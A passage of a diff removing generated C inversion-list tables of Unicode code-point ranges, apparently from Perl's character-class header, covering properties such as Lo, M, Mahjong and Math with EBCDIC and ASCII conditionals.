'[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LO_invlist[] = { /* for EBCDIC 037 */ - 917, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x800, - 0x816, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x972, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE46, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10D0, - 0x10FB, - 0x10FD, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17DC, - 0x17DD, - 0x1820, - 0x1843, - 0x1844, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C78, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x2135, - 0x2139, - 0x2D30, - 0x2D68, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3006, - 0x3007, - 0x303C, - 0x303D, - 0x3041, - 0x3097, - 0x309F, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA015, - 0xA016, - 0xA48D, - 0xA4D0, - 0xA4F8, - 0xA500, - 0xA60C, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA66E, - 0xA66F, - 0xA6A0, - 0xA6E6, - 0xA78F, - 0xA790, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9E0, - 0xA9E5, - 0xA9E7, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADD, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF3, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10450, - 0x1049E, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1E800, - 0x1E8C5, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LOE_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE40, - 0xE45, - 0xEC0, - 0xEC5, - 0x19B5, - 0x19B8, - 0x19BA, - 0x19BB, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABA, - 0xAABB, - 0xAABD -}; - -static const UV PL_LOWSURROGATES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDC00, - 0xE000 -}; - -static const UV PL_LYCI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10280, - 0x1029D -}; - -static const UV PL_LYDI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940 -}; - -static const UV PL_M_invlist[] = { /* for all charsets */ - 527, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102B, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x1171D, - 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_MAHJ_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x970, - 0xA830, - 0xA83A, - 0x11150, - 0x11177 -}; - -static const UV PL_MAHJONG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F000, - 0x1F030 -}; - -static const UV PL_MAND_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x640, - 0x641, - 0x840, - 0x85C, - 0x85E, - 0x85F -}; - -static const UV PL_MANI_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x640, - 0x641, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7 -}; - -static const UV PL_MARC_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_MATH_invlist[] = { /* for ASCII/Latin1 */ - 277, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B, - 0x2C, - 0x3C, - 0x3F, - 0x5E, - 0x5F, - 0x7C, - 0x7D, - 0x7E, - 0x7F, - 0xAC, - 0xAD, - 0xB1, - 0xB2, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D6, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F7, - 0x606, - 0x609, - 0x2016, - 0x2017, - 0x2032, - 0x2035, - 0x2040, - 0x2041, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x2061, - 0x2065, - 0x207A, - 0x207F, - 0x208A, - 0x208F, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20E7, - 0x20EB, - 0x20F0, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2128, - 0x212A, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x2139, - 0x213C, - 0x214A, - 0x214B, - 0x214C, - 0x2190, - 0x21A8, - 0x21A9, - 0x21AF, - 0x21B0, - 0x21B2, - 0x21B6, - 0x21B8, - 0x21BC, - 0x21DC, - 0x21DD, - 0x21DE, - 0x21E4, - 0x21E6, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B6, - 0x23B7, - 0x23B8, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E3, - 0x25A0, - 0x25A2, - 0x25AE, - 0x25B8, - 0x25BC, - 0x25C2, - 0x25C6, - 0x25C8, - 0x25CA, - 0x25CC, - 0x25CF, - 0x25D4, - 0x25E2, - 0x25E3, - 0x25E4, - 0x25E5, - 0x25E7, - 0x25ED, - 0x25F8, - 0x2600, - 0x2605, - 0x2607, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2664, - 0x266D, - 0x2670, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE61, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 